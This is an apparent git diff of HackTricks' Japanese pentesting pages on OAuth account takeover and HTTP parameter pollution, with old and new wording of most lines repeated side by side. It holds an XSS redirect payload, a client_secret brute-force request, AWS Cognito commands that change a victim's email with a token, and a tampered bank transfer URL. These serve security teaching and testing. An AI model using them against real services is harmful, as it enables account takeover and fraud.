- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングテクニックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## 基本情報 <a href="#d4a8" id="d4a8"></a>
OAuthにはさまざまなバージョンがあり、基本的な情報は[OAuth 2.0ドキュメント](https://oauth.net/2/)で入手できます。この議論は主に広く使用されている[OAuth 2.0認可コードグラントタイプ](https://oauth.net/2/grant-types/authorization-code/)に焦点を当て、**アプリケーションが別のアプリケーションのユーザーアカウントにアクセスしたりアクションを実行したりするための認可フレームワーク**を提供します(認可サーバー)
OAuthにはさまざまなバージョンがあり、基本的な情報は[OAuth 2.0ドキュメント](https://oauth.net/2/)で入手できます。この議論は主に広く使用されている[OAuth 2.0認可コードグラントタイプ](https://oauth.net/2/grant-types/authorization-code/)に焦点を当て、**アプリケーションが別のアプリケーション(認可サーバー)のユーザーアカウントにアクセスしたりアクションを実行したりするための認可フレームワーク**を提供します。
仮想のウェブサイト _**https://example.com**_ があり、**すべてのソーシャルメディア投稿**を表示するように設計されています。これを実現するためにOAuth 2.0が使用されています。_https://example.com_ は、**ソーシャルメディア投稿にアクセスするための許可**をリクエストします。その結果、_https://socialmedia.com_ に **許可が表示され、リクエストを行う開発者**が示されます。許可を与えると、_https://example.com_ は **あなたの投稿にアクセスする権限を取得**します。
仮想のウェブサイト _**https://example.com**_ があり、**すべてのソーシャルメディア投稿を表示**するように設計されています。これを実現するためにOAuth 2.0が使用されます。_https://example.com_ は、**ソーシャルメディア投稿にアクセスするための許可**をリクエストします。その結果、同意画面が _https://socialmedia.com_ に表示され、**リクエストされている権限とリクエストを行っている開発者**が明記されます。あなたの承認を得ると、_https://example.com_ は**あなたの投稿にアクセスする権限を取得**します。
OAuth 2.0フレームワーク内の以下のコンポーネントを把握することが重要です:
OAuth 2.0フレームワーク内で以下のコンポーネントを理解することが重要です:
- **リソースオーナー**: **ユーザー/エンティティ**として、ソーシャルメディアアカウントの投稿などのリソースへのアクセスを承認します。
- **リソースサーバー**: `アクセストークン`を取得した後、認証されたリクエストを処理する**サーバー**、例:**https://socialmedia.com**
- **クライアントアプリケーション**: `リソースオーナー`から認可を取得しようとする**アプリケーション**、例**https://example.com**
- **認可サーバー**: `リソースオーナー`の認証に成功し、認可を取得した後に`アクセストークン`を`クライアントアプリケーション`に発行する**サーバー**、例**https://socialmedia.com**
- **リソースオーナー**: **ユーザー/エンティティ**として、あなたがソーシャルメディアアカウントの投稿などのリソースへのアクセスを承認します。
- **リソースサーバー**: `アクセストークン`を取得した後、認証済みリクエストを処理する**サーバー**、例: **https://socialmedia.com**
- **クライアントアプリケーション**: `リソースオーナー`から認可を取得しようとする**アプリケーション**、例: **https://example.com**
- **認可サーバー**: `リソースオーナー`の認証に成功し、認可を取得した後に`アクセストークン`を`クライアントアプリケーション`に発行する**サーバー**、例: **https://socialmedia.com**
- **client\_id**: アプリケーションのための公開された一意の識別子。
- **client\_secret:** アプリケーションと認可サーバーだけが知っている機密キーで、`アクセストークン`を生成するために使用されます。
- **response\_type**: 要求される**トークンのタイプ**を指定する値、例:`code`
- **response\_type**: 要求されたトークンの**タイプを指定する値**、例: `code`
- **scope**: `クライアントアプリケーション`が`リソースオーナー`から要求している**アクセスレベル**。
- **redirect\_uri**: 認後にユーザーがリダイレクトされる**URL**。通常、事前登録されたリダイレクトURLと一致する必要があります。
- **state**: ユーザーの認可サーバーへのリダイレクトと戻り時に**データを維持する**ためのパラメータ。その一意性は**CSRF保護メカニズム**として重要です。
- **redirect\_uri**: 認後にユーザーがリダイレクトされる**URL**。通常、事前登録されたリダイレクトURLと一致する必要があります。
- **state**: ユーザーの承認サーバーへのリダイレクトとリダイレクトからのデータの**維持**を行うためのパラメータ。その一意性は**CSRF保護メカニズム**として重要です。
- **grant\_type**: **グラントタイプと返されるトークンのタイプ**を示すパラメータ。
- **code**: `認可サーバー`からの認可コードで、`クライアントアプリケーション`が`client_id`と`client_secret`と共に使用して`アクセストークン`を取得します。
- **code**: `認可サーバー`からの認可コードで、`クライアントアプリケーション`が`client_id`と`client_secret`と共に`アクセストークン`を取得するために使用します。
- **access\_token**: `リソースオーナー`の代わりに`APIリクエスト`に使用される**トークン**。
- **refresh\_token**: ユーザーに再度プロンプトを表示せずに、新しい`アクセストークン`を取得するためのアプリケーションを有効にします
- **refresh\_token**: アプリケーションが**ユーザーに再度プロンプトを表示せずに新しい`アクセストークン`を取得**するためのトークン
### フロー
**実際のOAuthフロー**は次のように進行します
**実際のOAuthフロー**は次のように進行します:
1. [https://example.com](https://example.com) に移動し、「ソーシャルメディアと統合」ボタンを選択します。
2. サイトは、https://example.comのアプリケーションがあなたの投稿にアクセスする許可を求めるために[https://socialmedia.com](https://socialmedia.com) にリクエストを送信します。リクエストは次のように構造化されます
2. サイトはその後、https://example.comのアプリケーションがあなたの投稿にアクセスする許可を求めるために[https://socialmedia.com](https://socialmedia.com)にリクエストを送信します。リクエストは次のように構造化されます:
```
https://socialmedia.com/auth
?response_type=code
@ -55,35 +55,35 @@ https://socialmedia.com/auth
&scope=readPosts
&state=randomString123
```
3. 同意ページが表示されます。
3. その後、同意ページが表示されます。
4. 承認した後、ソーシャルメディアは `redirect_uri``code``state` パラメータを含んだレスポンスを送信します。
4. 承認した後、ソーシャルメディアは `redirect_uri``code``state` パラメータを含レスポンスを送信します。
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. https://example.comは、あなたの代わりに`code`とその`client_id`、`client_secret`を使用してサーバーサイドリクエストを行い、あなたが同意した権限へのアクセスを可能にする`access_token`を取得します。
5. https://example.comは、あなたの代わりに`code`、`client_id`、および`client_secret`を使用してサーバーサイドリクエストを行い、あなたが同意した権限へのアクセスを可能にする`access_token`を取得します。
```
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
6. 最終的に、プロセスはhttps://example.comが`access_token`を使用してAPIコールを行い、ソーシャルメディアにアクセスします。
6. 最後に、プロセスは https://example.com が `access_token` を使用してソーシャルメディアに API コールを行い、アクセスします
## 脆弱性 <a href="#323a" id="323a"></a>
### オープンリダイレクト\_uri <a href="#cc36" id="cc36"></a>
### Open redirect\_uri <a href="#cc36" id="cc36"></a>
`redirect_uri`はOAuthやOpenIDの実装においてセキュリティ上重要であり、認可コードなどの機密データが認可後に送信される先を指定します。誤って構成されていると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトさせ、アカウント乗っ取りを可能にすることがあります。
`redirect_uri` は OAuth および OpenID の実装においてセキュリティ上重要であり、認可後に認可コードなどの機密データが送信される先を指定します。誤って構成されていると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトさせ、アカウントを乗っ取ることができます。
悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパス一致から指定されたドメインやサブディレクトリ内の任意のURLを受け入れるまでさまざまです。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン盗難のためのHTMLインジェクションが含まれます。
悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパス一致から指定されたドメインやサブディレクトリ内の任意の URL を受け入れるまでさまざまです。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン盗難のための HTML インジェクションが含まれます。
`redirect_uri`以外にも、`client_uri`、`policy_uri`、`tos_uri`、`initiate_login_uri`などの他のOAuthやOpenIDのパラメーターもリダイレクト攻撃の影響を受ける可能性があります。これらのパラメーターはオプションであり、サーバーごとにサポート状況が異なります。
`redirect_uri` の他にも、`client_uri`、`policy_uri`、`tos_uri`、`initiate_login_uri` などの OAuth および OpenID のパラメーターもリダイレクト攻撃の対象となります。これらのパラメーターはオプションであり、サーバー間でのサポートが異なります。
OpenIDサーバーを対象とする場合、ディスカバリーエンドポイント(`**.well-known/openid-configuration**`)はしばしば`registration_endpoint`、`request_uri_parameter_supported`、"`require_request_uri_registration`などの貴重な構成詳細をリストします。これらの詳細は、登録エンドポイントやサーバーのその他の構成に関する特定を特定するのに役立ちます。
OpenID サーバーを対象とする場合、ディスカバリーエンドポイント (`**.well-known/openid-configuration**`) はしばしば `registration_endpoint`、`request_uri_parameter_supported`、"`require_request_uri_registration` などの貴重な構成詳細をリストします。これらの詳細は、サーバーの登録エンドポイントやその他の構成の特定に役立ちます。
### リダイレクト実装におけるXSS <a href="#bda5" id="bda5"></a>
### XSS in redirect implementation <a href="#bda5" id="bda5"></a>
このバグバウンティレポート[https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html)で言及されているように、ユーザーが認証した後、サーバーの応答にリダイレクト**URLが反映されている**可能性があり、**XSSに脆弱**です。テストする可能性のあるペイロード:
このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で言及されているように、ユーザーが認証した後、サーバーの応答に **URL が反映されている可能性** があり、**XSS に脆弱** になっています。テストする可能性のあるペイロード:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
@ -91,23 +91,28 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
OAuthの実装において、**`state`パラメータ**の誤用や省略は、**Cross-Site Request Forgery (CSRF)** 攻撃のリスクを著しく増加させる可能性があります。この脆弱性は、`state`パラメータが**使用されていない、静的な値として使用されている、または適切に検証されていない**場合に発生し、攻撃者がCSRF保護をバイパスすることができます。
攻撃者は、認可プロセスを傍受して、自分のアカウントを被害者のアカウントとリンクさせることで、**アカウント乗っ取り**の可能性を引き起こすことができます。これは、OAuthが**認証目的**で使用されているアプリケーションにおいて特に重大です。
攻撃者は、認可プロセスを傍受して、自分のアカウントを被害者のアカウントにリンクさせることで、潜在的な**アカウント乗っ取り**を引き起こすことができます。これは、OAuthが**認証目的**で使用されているアプリケーションにおいて特に重大です。
この脆弱性の実世界の例は、さまざまな**CTFチャレンジ**や**ハッキングプラットフォーム**で文書化されており、その実用的な影響が示されています。この問題は、**Slack**、**Stripe**、**PayPal**などのサードパーティサービスとの統合にも及び、攻撃者が通知や支払いを自分のアカウントにリダイレクトすることができます。
**`state`パラメータ**の適切な処理と検証は、CSRF対策を施し、OAuthフローをセキュリティ強化するために重要です。
**`state`パラメータ**の適切な処理と検証は、CSRF対策を施し、OAuthフローをセキュリティで保護するために重要です。
### アカウント乗っ取り前 <a href="#ebe4" id="ebe4"></a>
1. **アカウント作成時のメール確認がない場合**: 攻撃者は、被害者のメールを使用して事前にアカウントを作成することができます。後に被害者がサードパーティサービスをログインに使用した場合、アプリケーションは誤ってこのサードパーティアカウントを攻撃者が事前に作成したアカウントにリンクさせ、不正アクセスを引き起こす可能性があります。
2. **緩いOAuthメール確認の悪用**: 攻撃者は、メールを確認しないOAuthサービスを悪用して、自分のサービスに登録し、その後アカウントのメールを被害者のものに変更することができます。この方法は、最初のシナリオと同様に、別の攻撃ベクトルを介して未承認のアカウントアクセスのリスクをもたらします。
2. **緩いOAuthメール確認の悪用**: 攻撃者は、メールを確認しないOAuthサービスを悪用して、自分のサービスに登録し、その後アカウントのメールを被害者のものに変更することができます。この方法は、最初のシナリオと同様に未承認のアカウントアクセスのリスクを抱えており、異なる攻撃ベクトルを介して行われます。
### シークレット情報の開示 <a href="#e177" id="e177"></a>
秘密のOAuthパラメータを特定し、保護することは重要です。**`client_id`**は安全に開示できますが、**`client_secret`**を公開すると重大なリスクが生じます。`client_secret`が漏洩すると、攻撃者はアプリケーションのアイデンティティと信頼を悪用して、ユーザーの`access_token`や個人情報を**盗み出す**ことができます。
秘密のOAuthパラメータを特定し、保護することは重要です。**`client_id`**は安全に開示できますが、**`client_secret`**を明らかにすると重大なリスクが生じます。`client_secret`が漏洩すると、攻撃者はアプリケーションのアイデンティティと信頼を悪用して、ユーザーの`access_token`や個人情報を**盗**ことができます。
アプリケーションが認可コードを`access_token`に交換する処理を誤ってクライアントサイドで処理する場合、一般的な脆弱性が発生します。このミスは`client_secret`の露出を引き起こし、攻撃者がアプリケーションの姿を装って`access_token`を生成することを可能にします。さらに、ソーシャルエンジニアリングを通じて、攻撃者はOAuth認可に追加のスコープを追加することで特権を昇格させ、アプリケーションの信頼された状態をさらに悪用することができます。
アプリケーションが認可コードを`access_token`に交換する処理をサーバーサイドではなくクライアントサイドで誤って処理すると、一般的な脆弱性が発生します。このミスにより`client_secret`が露出し、攻撃者はアプリケーションの姿を装って`access_token`を生成することができます。さらに、ソーシャルエンジニアリングを通じて、攻撃者はOAuth認可に追加のスコープを追加することで特権を昇格させ、アプリケーションの信頼された状態をさらに悪用することができます。
### クライアントシークレットのブルートフォース
サービスプロバイダーのクライアントシークレットを**ブルートフォース**して、アカウントを盗むことを試みることができます。\
BFへのリクエストは次のように見えるかもしれません
```
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
@ -117,29 +122,29 @@ Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
```
### Referer Header leaking Code + State
### Refererヘッダーがコードとステートを漏洩
クライアントが**コードと状態**を取得した後、別のページに移動する際に**Refererヘッダー内に反映されている**場合、脆弱性があります。
クライアントが**コードとステート**を取得したら、別のページに移動する際に**Refererヘッダー内に反映されているかどうか**を確認します。もしそうであれば、脆弱性があります。
### Access Token Stored in Browser History
### アクセストークンがブラウザ履歴に保存されている
**ブラウザの履歴を確認し、アクセストークンが保存されているかどうかを確認します**
**ブラウザの履歴を確認し、アクセストークンが保存されているかどうか**を確認します。
### Everlasting Authorization Code
### 永続的な認証コード
**認証コードは一定期間のみ有効であ、攻撃者がそれを盗み出して使用できる時間枠を制限する必要があります**
**認証コードは一定期間のみ有効であるべきで、攻撃者がそれを盗み出して使用できる時間枠を制限する**必要があります。
### Authorization/Refresh Token not bound to client
### 認証/リフレッシュトークンがクライアントにバインドされていない
**認証コードを取得し、異なるクライアントで使用できる場合、他のアカウントを乗っ取ることができます**。
### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
### ハッピーパス、XSS、IframesPost Messagesによるコードとステート値の漏洩
**[この投稿をチェック](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
### AWS Cognito <a href="#bda5" id="bda5"></a>
このバグバウンティレポート: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) では、**AWS Cognito**がユーザーに返す**トークン**には、**ユーザーデータを上書きするための十分な権限がある可能性**があります。したがって、異なるユーザーのメールアドレスに**ユーザーのメールアドレスを変更**できる場合、他のアカウントを**乗っ取る**ことができるかもしれません。
このバグバウンティレポート: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) では、**AWS Cognito**がユーザーに返す**トークン**には、**ユーザーデータを上書きするための十分な権限がある可能性**があります。したがって、**異なるユーザーのメールアドレスを変更できる場合**、他のアカウントを**乗っ取る**ことができるかもしれません。
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -156,46 +161,46 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
]
}
```
### 他のアプリのトークンの<a href="#bda5" id="bda5"></a>
### 他のアプリのトークンの<a href="#bda5" id="bda5"></a>
[**この解説**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)に記載されているように、**トークン**コードではなくを受け取ることを期待するOAuthフローは、そのトークンがアプリに属しているかどうかをチェックしない場合に脆弱になる可能性があります。
これは、**攻撃者**が**OAuthをサポートするアプリケーションを作成し、Facebookでログイン**した後、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**ユーザーのOAuthトークンを取得し、そのトークンを使用して被害者のOAuthアプリケーションに被害者のユーザートークンでログイン**できるためです。
{% hint style="danger" %}
したがって、攻撃者がユーザーに自分のOAuthアプリケーションにアクセスさせることに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができますが、そのアプリケーションはトークンが自分のアプリIDに付与されたものかどうかをチェックしていません。
したがって、攻撃者がユーザーに自分のOAuthアプリケーションにアクセスさせることに成功すれば、トークンが期待されているアプリケーションで被害者のアカウントを乗っ取ることができますが、そのアプリケーションはトークンが自分のアプリIDに付与されたものかどうかをチェックしていません。
{% endhint %}
### 2つのリンクとクッキー <a href="#bda5" id="bda5"></a>
[**この解説**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)によると、被害者に**攻撃者のホストを指すreturnUrl**を持つページを開かせることが可能でした。この情報は**クッキーRU**に保存され、**後のステップ**で**プロンプト**が**ユーザー**にその攻撃者のホストへのアクセスを許可するかどうかを**尋ねます**。
[**この解説**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)によると、被害者に**攻撃者のホストを指すreturnUrl**を持つページを開かせることが可能でした。この情報は**クッキーRUに保存され**、**後のステップ**で**プロンプト**が**ユーザー**に**その攻撃者のホストへのアクセスを許可するかどうか尋ねます**。
このプロンプトをバイパスするために、**returnUrl**を使用してこのRUクッキーを設定する**Oauthフロー**を開始するためのタブを開き、プロンプトが表示される前にそのタブを閉じ、その値がない新しいタブを開くことが可能でした。その後、**プロンプトは攻撃者のホストについて通知しません**が、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信**されます。
このプロンプトをバイパスするために、**returnUrl**を使用してこのRUクッキーを設定する**Oauthフロー**を開始するためのタブを開き、プロンプトが表示される前にそのタブを閉じ、その値がない新しいタブを開くことが可能でした。その後、**プロンプトは攻撃者のホストについて通知しません**が、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信されます**
### SSRFパラメータ <a href="#bda5" id="bda5"></a>
**[この研究](https://portswigger.net/research/hidden-oauth-attack-vectors)をチェックして、この技術の詳細を確認してください。**
**[この研究](https://portswigger.net/research/hidden-oauth-attack-vectors)をチェックしてください。**
OAuthのDynamic Client Registrationは、**Server-Side Request Forgery (SSRF)** 攻撃に対して特に重要なセキュリティ脆弱性のベクトルとして機能します。このエンドポイントにより、OAuthサーバーはクライアントアプリケーションに関する詳細情報を受け取り、悪用される可能性のある機密情報を含むURLを受け取ることができます。
OAuthのDynamic Client Registrationは、**Server-Side Request Forgery (SSRF)** 攻撃に対して特に重要なセキュリティ脆弱性のベクトルとして機能します。このエンドポイントはクライアントアプリケーションに関する詳細情報を受け取るためのもので、悪用される可能性のある機密情報を含むURLをOAuthサーバーに提供します。
**主なポイント:**
- **Dynamic Client Registration** は通常、`/register` にマップされ、`client_name`、`client_secret`、`redirect_uris`、およびPOSTリクエストを介してロゴやJSON Web Key SetsJWKsのURLなどの詳細を受け入れます。
- **Dynamic Client Registration** は通常、`/register` にマップされ、`client_name`、`client_secret`、`redirect_uris`、およびロゴやJSON Web Key SetsJWKsのURLなどの詳細をPOSTリクエスト経由で受け入れます。
- この機能は、**RFC7591** および **OpenID Connect Registration 1.0** で規定された仕様に従い、SSRFに脆弱性のある可能性のあるパラメータを含みます。
- 登録プロセスは、次のようにしてサーバーをSSRFにさらす可能性があります
- **`logo_uri`**: クライアントアプリケーションのロゴのURLで、サーバーによって取得される可能性があり、URLが誤処理されるとSSRFをトリガーしたり、XSSにつながる可能性があります。
- **`jwks_uri`**: クライアントのJWKドキュメントへのURLで、悪意を持って作成された場合、サーバーが攻撃者が制御するサーバーに対してアウトバウンドリクエストを行う可能性があります。
- 登録プロセスは、次のようにしてサーバーをSSRFにさらす可能性があります:
- **`logo_uri`**: クライアントアプリケーションのロゴのURLで、サーバーが取得する可能性があるため、SSRFをトリガーしたり、URLが誤処理された場合にXSSにつながる可能性があります。
- **`jwks_uri`**: クライアントのJWKドキュメントへのURLで、悪意のある作成が行われると、サーバーが攻撃者が制御するサーバーに対してアウトバウンドリクエストを行う可能性があります。
- **`sector_identifier_uri`**: `redirect_uris` のJSON配列を参照し、サーバーが取得する可能性があるため、SSRFの機会を作成します。
- **`request_uris`**: クライアントの許可されたリクエストURIをリスト化し、サーバーが認可プロセスの開始時にこれらのURIを取得すると悪用される可能性があります。
- **`request_uris`**: クライアントの許可されたリクエストURIをリスト化し、認可プロセスの開始時にこれらのURIをサーバーが取得すると悪用される可能性があります。
**悪用戦略:**
- `logo_uri`、`jwks_uri`、または`sector_identifier_uri`のパラメータに悪意のあるURLを持つ新しいクライアントを登録することで、SSRFをトリガーできます。
- `request_uris`を介した直接的な悪用はホワイトリスト制御によって緩和されるかもしれませんが、事前登録された攻撃者が制御する`request_uri`を提供することで、認可フェーズ中にSSRFを容易にすることができます。
- `logo_uri`、`jwks_uri`、または `sector_identifier_uri` のパラメータに悪意のあるURLを持つ新しいクライアントを登録することで、SSRFをトリガーできます。
- `request_uris` を介した直接的な悪用はホワイトリスト制御によって緩和される可能性がありますが、事前登録された、攻撃者が制御する `request_uri` を提供することで、認可フェーズ中にSSRFを容易にすることができます。
## OAuthプロバイダーの競合状態
テストしているプラットフォームがOAuthプロバイダーである場合は、[**こちらを読んで競合状態をテストしてください**](race-condition.md)。
テストしているプラットフォームがOAuthプロバイダーである場合は、[**こちらを読んで競合状態の可能性をテストしてください**](race-condition.md)。
## 参考文献
@ -203,20 +208,20 @@ OAuthのDynamic Client Registrationは、**Server-Side Request Forgery (SSRF)**
* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* **HackTricksをPDFでダウンロード**したり、**HackTricksを広告**できるようにするには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
* 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見す
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -6,38 +6,38 @@
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で **@carlospolopm**をフォローする**.**
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください。
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# HTTPパラメータ汚染HPPの概要
HTTPパラメータ汚染HPPは、攻撃者がHTTPパラメータを操作してWebアプリケーションの動作を意図しない方法で変更する技術です。この操作は、HTTPパラメータを追加、変更、または複製することによって行われます。これらの操作の影響はユーザーに直接は見えませんが、サーバーサイドでアプリケーションの機能を大幅に変更し、クライアントサイドにも影響を与える可能性があります。
## HTTPパラメータ汚染HPPの例
銀行アプリケーショントランザクションURL
銀行アプリケーショントランザクションURL
- **元のURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
追加の `from` パラメータを挿入すること
追加の `from` パラメータを挿入することにより
- **操作されたURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
この操作により、トランザクションが `accountA` ではなく `accountC` に誤って請求される可能性があり、HPPがトランザクションやパスワードリセット、2FA設定、またはAPIキー要求などの機能を操作する可能性を示しています。
この操作により、トランザクションが `accountA` の代わりに `accountC` に誤って請求される可能性があり、HPPがトランザクションやパスワードリセット、2FA設定、APIキー要求などの機能を操作する可能性を示しています。
### **技術固有のパラメータ解析**
- パラメータが解析および優先される方法は、基礎となるWeb技術に依存し、HPPの悪用方法に影響を与えます。
- パラメータの解析と優先順位付け方法は、基礎となるWeb技術に依存し、HPPの悪用方法に影響を与えます。
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)のようなツールは、これらの技術とその解析動作を特定するのに役立ちます。
## PHPとHPPの悪用
@ -48,13 +48,13 @@ HTTPパラメータ汚染HPPは、攻撃者がHTTPパラメータを操作
- **方法:** Burp Suiteなどのツールを使用してOTPリクエストを傍受し、HTTPリクエスト内の `email` パラメータを複製しました。
- **結果:** 初期のメール用に意図されたOTPが、操作されたリクエストで指定された2番目のメールアドレスに送信されました。この欠陥により、意図されたセキュリティ対策を回避して、不正アクセスが可能となりました。
このシナリオは、アプリケーションのバックエンドで重大な見落としがあり、OTP生成のために最初の `email` パラメータが処理されましたが、配信には最後のパラメータが使用されました。
このシナリオは、OTP生成のために最初の `email` パラメータを処理するアプリケーションのバックエンドで重大な見落としが示されていますが、配信には最後の `email` パラメータが使用されました。
**APIキー操作のケース:**
- **シナリオ:** アプリケーションがユーザーにプロファイル設定ページを介してAPIキーを更新することを許可しています。
- **攻撃ベクトル:** 攻撃者が、POSTリクエストに追加の `api_key` パラメータを追加することで、APIキー更新機能の結果を操作できることを発見しました。
